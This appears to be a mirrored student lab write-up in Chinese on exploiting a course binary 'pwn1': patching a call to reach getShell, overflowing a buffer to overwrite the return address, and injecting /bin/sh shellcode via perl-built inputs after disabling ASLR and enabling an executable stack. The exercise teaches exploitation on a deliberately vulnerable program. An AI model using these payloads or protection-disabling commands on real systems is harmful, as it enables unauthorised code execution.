zoukankan      html  css  js  c++  java
  • 20165120 马鹏云 实验一pc平台逆向破解=v=

    1.1实验目标:

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    • 三个实践内容如下:

      • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
      • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
      • 注入一个自己制作的shellcode并运行这段shellcode。
    • 这几种思路,基本代表现实情况中的攻击目标:

      • 运行原本不可访问的代码片段
      • 强行修改程序执行流
      • 以及注入运行任意代码。

    1.2基础知识:

    • 熟悉Linux基本操作
      • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
    • 理解Bof的原理。
      • 能看得懂汇编、机器指令、EIP、指令地址。
    • 会使用gdb,vi。
    • 指令、参数

    • 重要的是理解思路。

    直接修改程序机器指令,改变程序执行流程:

    • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

    • 学习目标:理解可执行文件与机器指令

    • 进阶:掌握ELF文件格式,掌握动态技术

    首先我们拿到pwn1这个文件,我看大部分人都丢到kali里面做,我这个人比较懒(其实是Linux指令不太熟),能用图形界面就用图形界面,所以我直接用ida做的这一项(我觉得不会有人跟我一样的做法所以图片我就不加水印了)

    我们首先用ida打开pwn1这个文件:

    一大堆汇编代码,看的头痛,搜一下:

    搜到了三个结果,我们可以看到第三条是用了call指令,双击进去:

    我们可以看到地址高亮的那一行就是我们的call指令所在位置,ida这里有一点跟kali不一样,它没有直接显示调用哪里的foo函数,所以我们在这个foo这里右键它:

    跳转到操作数,我们可以看到高亮了地址8048491,是说这条指令将调用位于地址8048491处的foo函数,其对应机器指令为“e8 d7ffffff”,e8就是跳转的意思。

    本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,main函数调用foo,对应机器指令为“ e8 d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。

    用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。

    下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

    ♂修改执行文件我用的winhex,有兴趣的同学可以下下来玩一下:

    活用搜索功能,搜d7找到位置,改成c3:

    另存为一下,然后这个新文件丢到kali里面打开(到头来还是要用):

    我们可以看到已经正常getshell了,然后我们跑来试一下:

    由此可见是成功了的

    ps:我在测试中碰到了一件很奇怪的事情,明明ls显示了这个文件,但是就是跑不了,最后在中楷同学的kali上跑成功了(点名表扬),百度之后知道了应该是没有32位的运行库 ia32-libs的原因,但是我尝试装过了之后还是不行(开始自闭)耽误了很多时间,至今还在排查原因。。。

    通过构造输入参数,造成BOF攻击,改变程序执行流:

    首先我们反汇编一下这个程序,了解程序基本功能:

    我们可以看到函数getShell,我们的目标是触发这个函数

     该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞

    在foo函数中我们可以看到:

    08048491 <foo>:
     8048491:	55                   	push   %ebp
     8048492:	89 e5                	mov    %esp,%ebp
     8048494:	83 ec 38             	sub    $0x38,%esp
     8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax
     804849a:	89 04 24             	mov    %eax,(%esp)
     
     这里读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
     
     804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>
     80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax
     80484a5:	89 04 24             	mov    %eax,(%esp)
     80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>
     80484ad:	c9                   	leave
    然后图中的call调用foo,同时在堆栈上压上返回地址值:0x80484ba
    我们接下来确认输入字符串哪几个字符会覆盖到返回地址:

    如图所示我们用info r指令查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址

    所以我们就将getShell的地址0x0804847d把1234替换即可

    由于数据按小端存储,我们的应该输入为11111111222222223333333344444444x7dx84x04x08

    但是后来发现,我们没法通过键盘输入x7dx84x04x08这样的16进制值

    所以这里我们需要用到Perl这个解释型语言,输入:perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input 生成包括字符串的一个文件(x0a表示回车)

    使用16进制查看指令xxd确认input文件内容

    确认无误后用(cat input;cat) | ./pwn20165120将input中的字符串作为可执行文件的输入

     

     

    注入Shellcode并执行:

    使用apt-get install execstack命令安装execstack,以便接下来可以设置易于攻击的环境(以前装过了,所以这个步骤就是这样的截图)

    使用如下指令进行配置:

    • execstack -s pwn1
    • execstack -q pwn1
    • more /proc/sys/kernel/randomize_va_space
    • echo "0" > /proc/sys/kernel/randomize_va_space
    • more /proc/sys/kernel/randomize_va_space

    我们的目的是向foo函数输入参数,造成缓冲区溢出,改变foo的返回地址,,跳到shellcode。也就是,找到foo函数的返回的地址,将其改成shellcode开始的地址
    使用命令   perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    注入,前面32个A用来填满buf,x04x03x02x01为预留的返回地址,下面找这个返回地址。

    接下来我们要分两个终端分步进行:

    • 在一个终端里用 (cat input_shellcode;cat) | ./pwn20165120 注入这段攻击,回车后把这个终端放在这里,然后去打开另一个终端。

    • 在第二个终端中(如下图)

    1. ps -ef | grep pwn 查看pwn进程号
    2. 用gdb, attach 10181 去调试这个进程
    3. disassemble foo 命令反汇编,通过设置断点,来查看注入buf的内存地址:
    4. 用 break *0x080484ae 命令设置断点,输入c命令(continue)继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址
    5. 用x/16x 0xffffd17c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd180
    6. 接下来只需要将之前的x4x3x2x1改为这个地址即可,用命令

    然后用命令perl -e 'print "A" x 32;print "x80xd1xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    改地址,然后用(cat input_shellcode;cat) | ./pwn1执行程序,结果如下图:

    可见已经成功,本次实验完成。

    实验收获与感想:

    本次实验总体来说比较顺利,但是还是碰到了相关问题,在kali 64位下运行 ./pwn1 会跳出来说没有这个文件或者目录,但是ls看又有这个文件,很是奇怪。然后经过了一系列的排查之后发现,其实原因很简单,是因为他没有32位的运行库 ia32-libs ,直接安装即可。下载链接http://pkgs.org/download/ia32-libs,下载mint 17 的deb 用软件中心安装就行 依赖啥的自动解决。有遇到一样的问题的同学可以参考一下。

     什么是漏洞?漏洞的有什么危害?:

    顾名思义所谓漏洞,应该是某种缺陷,比如说系统、硬件、软件等等有缺陷,而且可以被人利用的地方。

    漏洞的危害小则无伤大雅,大则可以引起整个国家的严重损失。包括个人隐私信息、经济、乃至国家安全,都有可能受到漏洞的危害。

  • 相关阅读:
    RocketMQ主从搭建
    Spring Cloud Sleuth
    Spring Cloud Eureka
    Nacos配置中心使用
    Nacos注册中心使用
    Nacos快速入门
    Nginx配置SSL
    并发工具类
    关于类的线程安全
    Docker 入门学习笔记(一)
  • 原文地址:https://www.cnblogs.com/wsmpy/p/10508255.html
Copyright © 2011-2022 走看看